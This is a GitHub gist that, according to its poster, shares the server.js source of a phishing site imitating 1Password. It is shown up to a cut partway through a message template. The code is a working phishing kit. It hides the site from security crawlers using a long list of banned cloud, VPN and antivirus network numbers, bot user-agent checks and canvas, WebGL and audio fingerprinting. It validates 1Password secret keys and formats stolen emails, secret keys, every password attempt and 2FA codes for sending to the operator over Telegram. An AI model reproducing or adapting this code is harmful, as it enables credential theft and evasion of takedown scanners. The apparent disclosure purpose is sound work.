Skip to content

Instantly share code, notes, and snippets.

@GithubKillsMyOpsec
Created June 1, 2026 22:43
Show Gist options
  • Select an option

  • Save GithubKillsMyOpsec/193ba4fd92ef47863fcce0f116364072 to your computer and use it in GitHub Desktop.

Select an option

Save GithubKillsMyOpsec/193ba4fd92ef47863fcce0f116364072 to your computer and use it in GitHub Desktop.
server.js source code from a 1password phishing website.
const express = require('express');
const axios = require('axios');
const path = require('path');
const crypto = require('crypto');
require('dotenv').config();
const app = express();
const PORT = process.env.PORT || 3000;
app.set('trust proxy', true);
// ========================================
// BOT DETECTION CONFIGURATION
// ========================================
// Essential bot user agents (hardcoded)
const BOT_USER_AGENTS = [
'go-http-client', 'python-urllib', 'python-requests', 'python-httpx',
'requests/', 'urllib/', 'curl/', 'wget/', 'libcurl', 'httpclient',
'apache-httpclient', 'java/', 'okhttp/', 'node-fetch', 'axios/',
'fetch/', 'scrapy/', 'selenium/', 'webdriver', 'phantomjs',
'headlesschrome', 'chrome-headless', 'puppeteer', 'playwright',
'bot', 'crawler', 'spider', 'scraper', 'scanner', 'yowser', 'headless'
];
// MASSIVE BANNED AS NUMBERS - TOUS DATACENTERS/BOTS/CRAWLERS
const BANNED_ASNS = [
// ==== MAJOR CLOUD PROVIDERS ====
// TalkTalk
'AS13285',
// Google Cloud/Crawlers
'AS15169', 'AS36040', 'AS36384', 'AS36385', 'AS36492', 'AS41264', 'AS396982', 'AS394406', 'AS13949',
// Amazon AWS
'AS14618', 'AS16509', 'AS8987', 'AS62785', 'AS7224', 'AS19679', 'AS8987', 'AS135629', 'AS266331',
// Microsoft Azure
'AS8075', 'AS3598', 'AS12076', 'AS8068', 'AS8069', 'AS8070', 'AS133752', 'AS8068', 'AS63263',
// Alibaba Cloud
'AS37963', 'AS45102', 'AS24429', 'AS37964', 'AS45090', 'AS45070', 'AS140292', 'AS196844',
// Oracle Cloud
'AS31898', 'AS134993', 'AS397324', 'AS31898', 'AS129927',
// IBM Cloud
'AS36351', 'AS11430', 'AS21844', 'AS27699',
// Tencent Cloud
'AS132203', 'AS45090', 'AS58519', 'AS132591', 'AS133775',
// Baidu Cloud
'AS38365', 'AS55967', 'AS38627', 'AS4837', 'AS4808',
// Yandex
'AS13238', 'AS5378', 'AS43247', 'AS49505',
// ==== CDN & EDGE NETWORKS ====
// Cloudflare
'AS13335', 'AS209242', 'AS395747', 'AS132892',
// Akamai
'AS16625', 'AS20940', 'AS21342', 'AS31108', 'AS31109', 'AS32787', 'AS33905', 'AS35993', 'AS36183',
// Fastly
'AS54113', 'AS394192',
// KeyCDN
'AS30058', 'AS62240',
// MaxCDN/StackPath
'AS33438', 'AS58311', 'AS20446',
// BunnyCDN
'AS200325',
// JSDelivr
'AS54994', 'AS22822',
// ==== HOSTING & DATACENTERS ====
// OVH
'AS16276', 'AS35540', 'AS57043', 'AS18450', 'AS152582', 'AS49367',
// DigitalOcean
'AS14061', 'AS133752', 'AS202018', 'AS143515',
// Vultr
'AS20473', 'AS64515', 'AS-VULTR',
// Linode/Akamai
'AS63949', 'AS24971', 'AS59440',
// Hetzner
'AS24940', 'AS213230', 'AS397220',
// Contabo
'AS51167', 'AS53667',
// Leaseweb
'AS7203', 'AS30633', 'AS28753', 'AS60781', 'AS396362', 'AS395954', 'AS59605', 'AS30132',
// Scaleway
'AS12876', 'AS29802', 'AS29447', 'AS51706',
// Hurricane Electric
'AS6939', 'AS7459',
// Kimsufi/SoYouStart
'AS57043', 'AS152582',
// TrafficForce
'AS149428', 'AS210906', 'AS202044', 'AS35830', 'AS133480',
// ==== NETWORK PROVIDERS & TRANSIT ====
// Cogent
'AS174', 'AS64050',
// Level3/Lumen/CenturyLink
'AS3356', 'AS3549', 'AS1', 'AS209', 'AS4006',
// NTT
'AS2914', 'AS2527',
// GTT
'AS3257', 'AS10026',
// Telia
'AS1299', 'AS3301',
// Zayo
'AS6461', 'AS8218',
// ==== HOSTING PROVIDERS ====
// M247
'AS9009', 'AS60068', 'AS9009',
// Psychz Networks
'AS40676', 'AS63023',
// Quadranet
'AS8100', 'AS54601',
// Sharktech
'AS46844', 'AS63410',
// Servermania
'AS55286', 'AS26496',
// ColoCrossing
'AS36352', 'AS25761',
// Hostwinds
'AS54290', 'AS39743',
// HostRoyale
'AS39486', 'AS142036',
// Netcup
'AS197540', 'AS34939',
// Serverion
'AS201814', 'AS58952',
// Flokinet
'AS200651', 'AS47583',
// ==== VPN PROVIDERS ====
// NordVPN
'AS208323', 'AS59729', 'AS14061',
// ExpressVPN
'AS65251', 'AS7979', 'AS396356',
// Surfshark
'AS202425', 'AS47692',
// CyberGhost
'AS9009', 'AS212238',
// ProtonVPN
'AS62371', 'AS212238',
// Mullvad
'AS213171', 'AS44869',
// Private Internet Access
'AS46562', 'AS33287', 'AS53667',
// IPVanish
'AS46562', 'AS8560',
// TunnelBear
'AS7979', 'AS36352',
// ==== SECURITY & ANTIVIRUS CRAWLERS ====
// AVAST
'AS198605', 'AS25820',
// McAfee
'AS7342', 'AS36040',
// Kaspersky
'AS201706', 'AS13238',
// Symantec/Norton
'AS27471', 'AS27471',
// Trend Micro
'AS7545', 'AS17408',
// Bitdefender
'AS39737', 'AS9050',
// F-Secure
'AS1759', 'AS1741',
// Sophos
'AS21195', 'AS8560',
// ==== BOT & CRAWLER SERVICES ====
// Bright Data (ex-Luminati)
'AS62240', 'AS42831', 'AS35913', 'AS207266',
// Oxylabs
'AS206728', 'AS51659', 'AS9009',
// SmartProxy
'AS62240', 'AS13213', 'AS60068',
// ScraperAPI
'AS19551', 'AS11878', 'AS16509',
// ProxyMesh
'AS13768', 'AS22612',
// Storm Proxies
'AS19551', 'AS33182',
// Blazing SEO
'AS19551', 'AS32475',
// ==== CHINA (ULTRA MÉCHANT - ÉVITE TELECOM RÉSIDENTIELS) ====
// Chinese Datacenters/Hosting (pas China Telecom/Unicom/Mobile résidentiel)
'AS55960', 'AS37963', 'AS58461', 'AS132203', 'AS140292', 'AS45090', 'AS45070',
'AS38365', 'AS55967', 'AS38627', 'AS4808', 'AS17623', 'AS17816', 'AS9929',
'AS24444', 'AS56040', 'AS56044', 'AS56046', 'AS131285', 'AS133775', 'AS134756',
'AS135377', 'AS136958', 'AS137718', 'AS138421', 'AS138914', 'AS139021', 'AS139061',
'AS139083', 'AS139172', 'AS139203', 'AS139316', 'AS139462', 'AS139721', 'AS139726',
'AS140726', 'AS140863', 'AS142280', 'AS142281', 'AS58519', 'AS58461', 'AS63528',
// ==== RUSSIA (ULTRA MÉCHANT - ÉVITE ROSTELECOM/MTS RÉSIDENTIELS) ====
// Russian Datacenters (pas Rostelecom/MTS résidentiel)
'AS12555', 'AS13238', 'AS49981', 'AS197695', 'AS204957', 'AS202422', 'AS201706',
'AS39737', 'AS42831', 'AS43247', 'AS44128', 'AS47764', 'AS48282', 'AS49063',
'AS49505', 'AS50384', 'AS50928', 'AS51570', 'AS56534', 'AS57043', 'AS197695',
'AS198610', 'AS199524', 'AS200350', 'AS201094', 'AS201776', 'AS202422', 'AS203921',
'AS204005', 'AS204895', 'AS205112', 'AS205334', 'AS206728', 'AS207330', 'AS208722',
// ==== UKRAINE (ULTRA MÉCHANT - ÉVITE UKRTELECOM RÉSIDENTIEL) ====
// Ukrainian Datacenters (pas Ukrtelecom résidentiel)
'AS15895', 'AS35297', 'AS39608', 'AS42331', 'AS43554', 'AS47598', 'AS48695',
'AS49176', 'AS56655', 'AS57171', 'AS196645', 'AS197071', 'AS198047', 'AS198610',
'AS199524', 'AS200000', 'AS201094', 'AS202422', 'AS204895', 'AS205334',
// ==== FRANCE (ULTRA MÉCHANT - ÉVITE ORANGE/SFR/BOUYGUES/FREE) ====
// French Datacenters/Business (pas Orange/SFR/Bouygues/Free résidentiel)
'AS12876', 'AS29802', 'AS51706', 'AS57043', 'AS152582', 'AS49367', 'AS35625',
'AS16347', 'AS21409', 'AS29169', 'AS31424', 'AS35280', 'AS35625',
'AS39180', 'AS41690', 'AS43142', 'AS48635', 'AS50618', 'AS51159', 'AS51706',
'AS56665', 'AS197692', 'AS198290', 'AS198507', 'AS200780', 'AS201333', 'AS203461',
// ==== GERMANY (ULTRA MÉCHANT - ÉVITE DEUTSCHE TELEKOM RÉSIDENTIEL) ====
// German Datacenters (pas Deutsche Telekom résidentiel)
'AS31334', 'AS29066', 'AS197540', 'AS24940', 'AS213230', 'AS39737',
'AS8767', 'AS12732', 'AS13101', 'AS15943', 'AS20676', 'AS21413',
'AS24961', 'AS25560', 'AS29066', 'AS31334', 'AS33891', 'AS34309', 'AS34355',
'AS35066', 'AS39737', 'AS41692', 'AS42730', 'AS47447', 'AS48918', 'AS49877',
'AS51167', 'AS56665', 'AS197540', 'AS198610', 'AS200780', 'AS205334', 'AS213230',
// ==== UK (ULTRA MÉCHANT - ÉVITE BT/VIRGIN/SKY RÉSIDENTIELS) ====
// UK Datacenters (pas BT/Virgin/Sky résidentiel)
'AS20738', 'AS41230', 'AS29550', 'AS39326', 'AS42831',
'AS8220', 'AS12576', 'AS15830', 'AS20738', 'AS25577', 'AS29550',
'AS31898', 'AS34245', 'AS35662', 'AS39326', 'AS41230', 'AS41847',
'AS42473', 'AS43574', 'AS44684', 'AS49544', 'AS60610', 'AS197695', 'AS198610',
// ==== USA (ULTRA MÉCHANT - ÉVITE AT&T/VERIZON/COMCAST RÉSIDENTIELS) ====
// US Datacenters/Business (pas AT&T/Verizon/Comcast résidentiel)
'AS20446', 'AS22616', 'AS30475', 'AS32475', 'AS11878', 'AS19551', 'AS33182', 'AS22773',
'AS19318', 'AS53667', 'AS62904', 'AS6364', 'AS6327', 'AS11426',
'AS13649', 'AS16591', 'AS16626', 'AS19318', 'AS20446', 'AS20473',
'AS22773', 'AS22616', 'AS25369', 'AS26496', 'AS27357', 'AS29748', 'AS30475', 'AS32475',
'AS33182', 'AS33287', 'AS35913', 'AS36351', 'AS36352', 'AS39406', 'AS40676', 'AS46562',
'AS46844', 'AS53667', 'AS54113', 'AS54290', 'AS55286', 'AS62904', 'AS63410', 'AS63949',
// ==== BUSINESS/HOSTING PROVIDERS (TOUS PAYS) ====
// Korean Business/Hosting
'AS17858', 'AS10050', 'AS9457', 'AS17408', 'AS38040',
// Japanese Business/Hosting
'AS2516', 'AS17676', 'AS7684', 'AS4713', 'AS7545', 'AS17408', 'AS23576',
// Indian Business/Hosting
'AS133296', 'AS45609', 'AS4755', 'AS17488', 'AS9829', 'AS18101', 'AS55824',
// Dutch Business/Hosting
'AS60781', 'AS28753', 'AS49544', 'AS49453', 'AS1103', 'AS15670', 'AS20857',
// Italian Business/Hosting
'AS30722', 'AS8968', 'AS12874', 'AS16232', 'AS28716', 'AS31638', 'AS35805',
// Spanish Business/Hosting
'AS15704', 'AS29119', 'AS35699', 'AS42473', 'AS198610',
// Canadian Business/Hosting
'AS11831', 'AS16509', 'AS19531', 'AS22773', 'AS26496', 'AS53667', 'AS62904',
// ==== SUSPICIOUS/RECENTLY DETECTED ====
'AS204957', 'AS49981', 'AS197695', 'AS142036', 'AS39737',
'AS33182', 'AS11878', 'AS22773', 'AS32475', 'AS19318',
// ==== ADDITIONAL CLOUD PROVIDERS ====
// UpCloud
'AS202053', 'AS25696',
// Kamatera
'AS30475', 'AS63949',
// Atlantic.net
'AS6364', 'AS393406',
// RackSpace
'AS27357', 'AS29748', 'AS33182'
];
// High-risk countries for datacenter hosting
const HIGH_RISK_COUNTRIES = ['Russia', 'China', 'Belarus', 'Kazakhstan', 'Ukraine'];
// Bot detection cache
const suspiciousIPs = new Map();
const requestTimings = new Map();
const fingerprintCache = new Map();
const verifiedIPs = new Map(); // IPs qui ont passé la vérification fingerprint
// Clean cache every 30 minutes
setInterval(() => {
const now = Date.now();
const thirtyMinutes = 30 * 60 * 1000;
for (const [ip, data] of requestTimings.entries()) {
if (now - data.time > thirtyMinutes) {
requestTimings.delete(ip);
}
}
for (const [ip, data] of suspiciousIPs.entries()) {
if (now - data.lastSeen > thirtyMinutes) {
suspiciousIPs.delete(ip);
}
}
for (const [ip, data] of fingerprintCache.entries()) {
if (now - data.timestamp > thirtyMinutes) {
fingerprintCache.delete(ip);
}
}
for (const [ip, data] of verifiedIPs.entries()) {
if (now - data.timestamp > thirtyMinutes) {
verifiedIPs.delete(ip);
}
}
}, 30 * 60 * 1000);
// ========================================
// FINGERPRINT ANALYSIS
// ========================================
function analyzeFingerprint(fingerprint, ip) {
let suspicionScore = 0;
const flags = [];
if (!fingerprint) return { score: 0, flags: [] };
// 1. Canvas fingerprint analysis
if (!fingerprint.canvas) {
suspicionScore += 30;
flags.push('no_canvas_support');
} else if (fingerprint.canvas.length < 1000) {
suspicionScore += 25;
flags.push('suspicious_canvas_short');
}
// 2. WebGL analysis
if (!fingerprint.webgl) {
suspicionScore += 40;
flags.push('no_webgl_support');
} else {
// Check for headless browser indicators
if (fingerprint.webgl.renderer && (
fingerprint.webgl.renderer.includes('SwiftShader') ||
fingerprint.webgl.renderer.includes('Mesa') ||
fingerprint.webgl.renderer.includes('llvmpipe') ||
fingerprint.webgl.renderer.includes('Software Rasterizer')
)) {
suspicionScore += 35;
flags.push('headless_webgl_renderer');
}
// Check for missing or suspicious vendor
if (!fingerprint.webgl.vendor || fingerprint.webgl.vendor === 'Brian Paul' || fingerprint.webgl.vendor === 'Mesa') {
suspicionScore += 20;
flags.push('suspicious_webgl_vendor');
}
}
// 3. Screen size inconsistencies
if (fingerprint.screen && fingerprint.window) {
const screenRatio = fingerprint.screen.width / fingerprint.screen.height;
const windowRatio = fingerprint.window.innerWidth / fingerprint.window.innerHeight;
// Common headless browser screen sizes
if ((fingerprint.screen.width === 1024 && fingerprint.screen.height === 768) ||
(fingerprint.screen.width === 1280 && fingerprint.screen.height === 1024) ||
(fingerprint.screen.width === 800 && fingerprint.screen.height === 600)) {
suspicionScore += 15;
flags.push('common_headless_resolution');
}
// Suspicious window/screen size ratios
if (Math.abs(screenRatio - windowRatio) > 0.5) {
suspicionScore += 10;
flags.push('screen_window_size_mismatch');
}
// Unrealistic resolutions
if (fingerprint.screen.width < 200 || fingerprint.screen.height < 200 ||
fingerprint.screen.width > 8000 || fingerprint.screen.height > 8000) {
suspicionScore += 25;
flags.push('unrealistic_screen_resolution');
}
}
// 4. Plugin analysis
if (fingerprint.plugins) {
if (fingerprint.plugins.length === 0) {
suspicionScore += 20;
flags.push('no_browser_plugins');
} else if (fingerprint.plugins.length > 50) {
suspicionScore += 15;
flags.push('excessive_plugins');
}
}
// 5. Font detection analysis (removed insufficient_fonts)
if (fingerprint.fonts) {
if (fingerprint.fonts.length === 0) {
suspicionScore += 15;
flags.push('no_fonts_detected');
} else if (fingerprint.fonts.length > 100) {
suspicionScore += 15;
flags.push('excessive_fonts');
}
}
// 6. Hardware inconsistencies
if (fingerprint.hardwareConcurrency) {
if (fingerprint.hardwareConcurrency === 1 || fingerprint.hardwareConcurrency > 128) {
suspicionScore += 15;
flags.push('suspicious_hardware_concurrency');
}
}
// 7. Device memory analysis
if (fingerprint.deviceMemory !== undefined) {
if (fingerprint.deviceMemory < 1 || fingerprint.deviceMemory > 32) {
suspicionScore += 10;
flags.push('unrealistic_device_memory');
}
}
// 8. Language/timezone inconsistencies
if (fingerprint.timezone && fingerprint.language) {
// Basic timezone/language mismatch detection
const isEnglish = fingerprint.language.startsWith('en');
const isUSTimezone = fingerprint.timezone.includes('America') || fingerprint.timezone.includes('US');
if (isUSTimezone && !isEnglish && !fingerprint.language.startsWith('es')) {
suspicionScore += 5;
flags.push('timezone_language_mismatch');
}
}
// 9. Performance timing analysis
if (fingerprint.timing) {
// Check for suspiciously fast or perfect timings (automation indicators)
const loadTime = fingerprint.timing.loadEventEnd;
if (loadTime !== undefined && (loadTime < 10 || loadTime > 60000)) {
suspicionScore += 10;
flags.push('suspicious_load_timing');
}
}
// 10. Audio fingerprint analysis
if (!fingerprint.audio) {
suspicionScore += 15;
flags.push('no_audio_fingerprint');
}
return {
score: suspicionScore,
flags: flags
};
}
// ========================================
// ADVANCED BOT DETECTION
// ========================================
function detectBot(req, ipInfo, fingerprint = null) {
const headers = req.headers;
const ip = req.headers['x-forwarded-for']?.split(',')[0] || req.connection.remoteAddress;
const userAgent = headers['user-agent'] || '';
let suspicionScore = 0;
const flags = [];
const now = Date.now();
// Get fingerprint from cache if not provided
if (!fingerprint && fingerprintCache.has(ip)) {
fingerprint = fingerprintCache.get(ip).data;
}
// 1. Essential header checks (reduced scoring for VPNs)
if (!headers.accept) {
suspicionScore += 10;
flags.push('missing_accept');
}
if (!headers['accept-language']) {
suspicionScore += 8;
flags.push('missing_accept_language');
}
// 2. User-Agent analysis
if (!userAgent) {
suspicionScore += 30;
flags.push('no_user_agent');
} else {
// Check length
if (userAgent.length < 50) {
suspicionScore += 20;
flags.push('short_user_agent');
}
// Check for bot patterns
const botPattern = new RegExp(`(${BOT_USER_AGENTS.join('|')})`, 'i');
if (botPattern.test(userAgent)) {
suspicionScore += 50;
flags.push('bot_user_agent');
}
// Check for outdated browsers
if (userAgent.includes('Chrome/')) {
const chromeVersion = userAgent.match(/Chrome\/(\d+)/);
if (chromeVersion && parseInt(chromeVersion[1]) < 110) {
suspicionScore += 15;
flags.push('outdated_chrome');
}
}
}
// 3. Request timing patterns
if (requestTimings.has(ip)) {
const lastRequest = requestTimings.get(ip);
const timeDiff = now - lastRequest.time;
if (timeDiff < 50) {
suspicionScore += 25;
flags.push('rapid_requests');
lastRequest.rapidCount = (lastRequest.rapidCount || 0) + 1;
if (lastRequest.rapidCount > 5) {
suspicionScore += 40;
flags.push('excessive_rapid_requests');
}
} else {
lastRequest.rapidCount = 0;
}
lastRequest.time = now;
} else {
requestTimings.set(ip, { time: now, rapidCount: 0 });
}
// 4. ASN analysis (banned ASNs are blocked before this function)
if (ipInfo && ipInfo.as) {
const org = ipInfo.as.toLowerCase();
// Check for datacenter indicators (excluding major CDNs and already-blocked ASNs)
if ((org.includes('datacenter') || org.includes('data-center') ||
org.includes('hosting') || org.includes('vps') ||
org.includes('server') || org.includes('dedicated')) &&
!org.includes('fastly') && !org.includes('cloudflare')) {
suspicionScore += 25;
flags.push('datacenter_hosting');
}
// High-risk country + datacenter combination
if (ipInfo.country && HIGH_RISK_COUNTRIES.includes(ipInfo.country) &&
org.includes('datacenter')) {
suspicionScore += 30;
flags.push('high_risk_datacenter');
}
}
// 5. Special bot signatures
if (userAgent.includes('YaBrowser') && userAgent.includes('Yowser')) {
suspicionScore += 40;
flags.push('yandex_bot_signature');
}
if (userAgent.includes('HeadlessChrome') || userAgent.includes('PhantomJS') ||
userAgent.includes('SlimerJS')) {
suspicionScore += 50;
flags.push('headless_browser');
}
// 6. Fingerprint analysis
if (fingerprint) {
const fpAnalysis = analyzeFingerprint(fingerprint, ip);
suspicionScore += fpAnalysis.score;
flags.push(...fpAnalysis.flags);
} else {
// Penalize missing fingerprint (possible bot without JS execution)
suspicionScore += 20;
flags.push('no_fingerprint');
}
return {
score: suspicionScore,
flags: flags,
isBot: suspicionScore >= 80,
riskLevel: suspicionScore < 40 ? 'low' : suspicionScore < 70 ? 'medium' : 'high'
};
}
// ========================================
// MAIN MIDDLEWARE
// ========================================
app.use(async (req, res, next) => {
const visitorIp = req.headers['x-forwarded-for']?.split(',')[0] || req.connection.remoteAddress;
const userAgent = req.headers['user-agent'] || '';
// Skip detection pour verification ET webhooks Telegram
if (req.path === '/verify' || req.path === '/fingerprint' || req.path === '/telegram-webhook') {
return next();
}
// Check if IP already verified by fingerprinting
const verified = verifiedIPs.get(visitorIp);
if (!verified || Date.now() - verified.timestamp > 30 * 60 * 1000) { // 30 min expiry
// Redirect to verification page
return res.redirect('/verify');
}
// At this point, IP is verified through fingerprinting
// Just log the access for already verified users
next();
});
// ========================================
// CLIENT-SIDE FINGERPRINTING SCRIPT
// ========================================
const FINGERPRINT_SCRIPT = `
<script>
(function() {
'use strict';
// Collect comprehensive fingerprint
async function collectFingerprint() {
const fp = {
timestamp: Date.now(),
timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,
language: navigator.language,
languages: navigator.languages,
platform: navigator.platform,
hardwareConcurrency: navigator.hardwareConcurrency,
deviceMemory: navigator.deviceMemory,
cookieEnabled: navigator.cookieEnabled,
doNotTrack: navigator.doNotTrack,
plugins: Array.from(navigator.plugins).map(p => ({name: p.name, filename: p.filename})),
mimeTypes: Array.from(navigator.mimeTypes).map(m => m.type)
};
// Screen and window detection
fp.screen = {
width: screen.width,
height: screen.height,
availWidth: screen.availWidth,
availHeight: screen.availHeight,
colorDepth: screen.colorDepth,
pixelDepth: screen.pixelDepth
};
fp.window = {
innerWidth: window.innerWidth,
innerHeight: window.innerHeight,
outerWidth: window.outerWidth,
outerHeight: window.outerHeight,
devicePixelRatio: window.devicePixelRatio
};
// Canvas fingerprinting
try {
const canvas = document.createElement('canvas');
const ctx = canvas.getContext('2d');
canvas.width = 200;
canvas.height = 50;
ctx.textBaseline = 'top';
ctx.font = '14px Arial';
ctx.fillStyle = '#f60';
ctx.fillRect(125, 1, 62, 20);
ctx.fillStyle = '#069';
ctx.fillText('🌟BotDetect🌟', 2, 15);
ctx.fillStyle = 'rgba(102, 204, 0, 0.7)';
ctx.fillText('Canvas fingerprint', 4, 25);
fp.canvas = canvas.toDataURL();
} catch (e) {
fp.canvas = null;
}
// WebGL fingerprinting
try {
const canvas = document.createElement('canvas');
const gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');
if (gl) {
fp.webgl = {
vendor: gl.getParameter(gl.VENDOR),
renderer: gl.getParameter(gl.RENDERER),
version: gl.getParameter(gl.VERSION),
shadingLanguageVersion: gl.getParameter(gl.SHADING_LANGUAGE_VERSION),
maxTextureSize: gl.getParameter(gl.MAX_TEXTURE_SIZE),
maxViewportDims: gl.getParameter(gl.MAX_VIEWPORT_DIMS),
maxVertexAttribs: gl.getParameter(gl.MAX_VERTEX_ATTRIBS),
maxVaryingVectors: gl.getParameter(gl.MAX_VARYING_VECTORS),
maxFragmentTextureUnits: gl.getParameter(gl.MAX_TEXTURE_IMAGE_UNITS),
maxVertexTextureUnits: gl.getParameter(gl.MAX_VERTEX_TEXTURE_IMAGE_UNITS)
};
// WebGL extensions
fp.webgl.extensions = gl.getSupportedExtensions();
// WebGL debugging info
const debugInfo = gl.getExtension('WEBGL_debug_renderer_info');
if (debugInfo) {
fp.webgl.unmaskedVendor = gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL);
fp.webgl.unmaskedRenderer = gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL);
}
} else {
fp.webgl = null;
}
} catch (e) {
fp.webgl = null;
}
// Audio fingerprinting
try {
const audioCtx = new (window.AudioContext || window.webkitAudioContext)();
const oscillator = audioCtx.createOscillator();
const analyser = audioCtx.createAnalyser();
const gainNode = audioCtx.createGain();
oscillator.type = 'triangle';
oscillator.frequency.setValueAtTime(10000, audioCtx.currentTime);
gainNode.gain.setValueAtTime(0, audioCtx.currentTime);
oscillator.connect(analyser);
analyser.connect(gainNode);
gainNode.connect(audioCtx.destination);
oscillator.start(0);
const bufferLength = analyser.frequencyBinCount;
const dataArray = new Float32Array(bufferLength);
analyser.getFloatFrequencyData(dataArray);
oscillator.stop();
audioCtx.close();
fp.audio = dataArray.slice(0, 30).join(',');
} catch (e) {
fp.audio = null;
}
// Font detection
try {
const fonts = ['Arial', 'Verdana', 'Times New Roman', 'Courier New', 'Helvetica', 'Georgia', 'Palatino', 'Garamond', 'Comic Sans MS', 'Trebuchet MS', 'Arial Black', 'Impact'];
const testString = 'mmmmmmmmmmlli';
const testSize = '72px';
const canvas = document.createElement('canvas');
const context = canvas.getContext('2d');
context.font = testSize + ' serif';
const baselineWidth = context.measureText(testString).width;
fp.fonts = fonts.filter(font => {
context.font = testSize + ' ' + font + ', serif';
return context.measureText(testString).width !== baselineWidth;
});
} catch (e) {
fp.fonts = [];
}
// Performance timing
if (performance && performance.timing) {
const t = performance.timing;
fp.timing = {
connectEnd: t.connectEnd - t.navigationStart,
connectStart: t.connectStart - t.navigationStart,
domComplete: t.domComplete - t.navigationStart,
domContentLoadedEventEnd: t.domContentLoadedEventEnd - t.navigationStart,
domContentLoadedEventStart: t.domContentLoadedEventStart - t.navigationStart,
domInteractive: t.domInteractive - t.navigationStart,
domLoading: t.domLoading - t.navigationStart,
domainLookupEnd: t.domainLookupEnd - t.navigationStart,
domainLookupStart: t.domainLookupStart - t.navigationStart,
fetchStart: t.fetchStart - t.navigationStart,
loadEventEnd: t.loadEventEnd - t.navigationStart,
loadEventStart: t.loadEventStart - t.navigationStart,
redirectEnd: t.redirectEnd - t.navigationStart,
redirectStart: t.redirectStart - t.navigationStart,
requestStart: t.requestStart - t.navigationStart,
responseEnd: t.responseEnd - t.navigationStart,
responseStart: t.responseStart - t.navigationStart,
unloadEventEnd: t.unloadEventEnd - t.navigationStart,
unloadEventStart: t.unloadEventStart - t.navigationStart
};
}
return fp;
}
// Send fingerprint to server
async function sendFingerprint() {
try {
const fingerprint = await collectFingerprint();
await fetch('/fingerprint', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(fingerprint)
});
} catch (e) {
// Silently fail if fingerprinting fails
}
}
// Send fingerprint after page load
if (document.readyState === 'loading') {
document.addEventListener('DOMContentLoaded', sendFingerprint);
} else {
setTimeout(sendFingerprint, 100);
}
})();
</script>`;
// ========================================
// APPLICATION ROUTES
// ========================================
app.use(express.json({ limit: '10mb' }));
app.use(express.urlencoded({ extended: true }));
// Middleware pour servir SEULEMENT les assets statiques (AVANT vérification)
app.use((req, res, next) => {
// Liste stricte des assets autorisés SANS vérification
if (req.path === '/favicon.ico' ||
req.path.startsWith('/src/') ||
req.path.startsWith('/static/') ||
req.path.startsWith('/assets/') ||
req.path.startsWith('/img/') ||
req.path.startsWith('/images/') ||
req.path.endsWith('.css') ||
req.path.endsWith('.js') ||
req.path.endsWith('.png') ||
req.path.endsWith('.jpg') ||
req.path.endsWith('.jpeg') ||
req.path.endsWith('.gif') ||
req.path.endsWith('.svg') ||
req.path.endsWith('.ico') ||
req.path.endsWith('.woff') ||
req.path.endsWith('.woff2') ||
req.path.endsWith('.ttf') ||
req.path.endsWith('.eot') ||
req.path.endsWith('.map')) {
// Servir le fichier statique
return express.static('./')(req, res, next);
}
// Tout le reste passe au middleware de vérification
next();
});
const TELEGRAM_BOT_TOKEN = process.env.TELEGRAM_BOT_TOKEN;
const TELEGRAM_CHAT_ID = process.env.TELEGRAM_CHAT_ID;
const TELEGRAM_VISITORS_CHAT_ID = process.env.TELEGRAM_VISITORS_CHAT_ID;
const pendingRequests = new Map();
const emailMessageTracking = new Map();
async function getCountryFromIP(ip) {
try {
if (ip === '127.0.0.1' || ip === '::1' || ip.startsWith('192.168.') || ip.startsWith('10.') || ip.startsWith('172.')) {
return 'Local/Private Network';
}
// Try Pro API first
try {
const response = await axios.get(`https://pro.ip-api.com/json/${ip}?key=NiceTry`, { timeout: 5000 });
const data = response.data;
if (data.status === 'success') {
const flag = getCountryFlag(data.countryCode);
return `${flag} ${data.country} (${data.city})`;
}
} catch (proError) {
// Fallback to free API
}
// Fallback to free API
const response = await axios.get(`http://ip-api.com/json/${ip}`, { timeout: 3000 });
const data = response.data;
if (data.status === 'success') {
const flag = getCountryFlag(data.countryCode);
return `${flag} ${data.country} (${data.city})`;
} else {
return 'Unknown Location';
}
} catch (error) {
return 'Location lookup failed';
}
}
function getCountryFlag(countryCode) {
const flags = {
'US': '🇺🇸', 'UK': '🇬🇧', 'CA': '🇨🇦', 'AU': '🇦🇺', 'DE': '🇩🇪',
'FR': '🇫🇷', 'IT': '🇮🇹', 'ES': '🇪🇸', 'NL': '🇳🇱', 'BE': '🇧🇪',
'CH': '🇨🇭', 'AT': '🇦🇹', 'SE': '🇸🇪', 'NO': '🇳🇴', 'DK': '🇩🇰',
'JP': '🇯🇵', 'KR': '🇰🇷', 'CN': '🇨🇳', 'IN': '🇮🇳', 'BR': '🇧🇷',
'MX': '🇲🇽', 'AR': '🇦🇷', 'RU': '🇷🇺', 'UA': '🇺🇦', 'PL': '🇵🇱'
};
return flags[countryCode] || '🏳️';
}
function validateEmail(email) {
const emailRegex = /^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/;
return emailRegex.test(email);
}
function validateSecretKey(secret) {
const secretRegex = /^A3-[A-Z0-9]{6}-[A-Z0-9]{6}-[A-Z0-9]{5}-[A-Z0-9]{5}-[A-Z0-9]{5}(-[A-Z0-9]{5})?$/;
return secretRegex.test(secret);
}
function validatePassword(password) {
return password && password.length >= 8;
}
function getAttemptText(number) {
const attempts = {
1: '1st Password',
2: '2nd Password',
3: '3rd Password',
4: '4th Password',
5: '5th Password',
6: '6th Password',
7: '7th Password',
8: '8th Password',
9: '9th Password',
10: '10th Password'
};
return attempts[number] || `${number}th Password`;
}
function generateCredentialsMessage(email, secret, passwordHistory, attemptNumber, ip, country, userAgent, timestamp, twoFACode = null) {
const attemptText = getAttemptText(attemptNumber);
let passwordHistoryText = '';
passwordHistory.forEach((password, index) => {
const attemptNum = index + 1;
const attemptLabel = getAttemptText(attemptNum);
passwordHistoryText += `\n🔒 <b>${attemptLabel}:</b>\n<code>${password}</code>\n`;
});
let twoFASection = '';
if (twoFACode) {
twoFASection = `\n🔐 <b>2FA CODE:</b>\n<code>${twoFACode}</code>\n`;
}
return `┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
🔐 <b>1PASSWORD CREDENTIALS - ${attemptText.toUpperCase()}</b>
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
📧 <b>Email:</b>
<code>${email || 'Not provided'}</code>
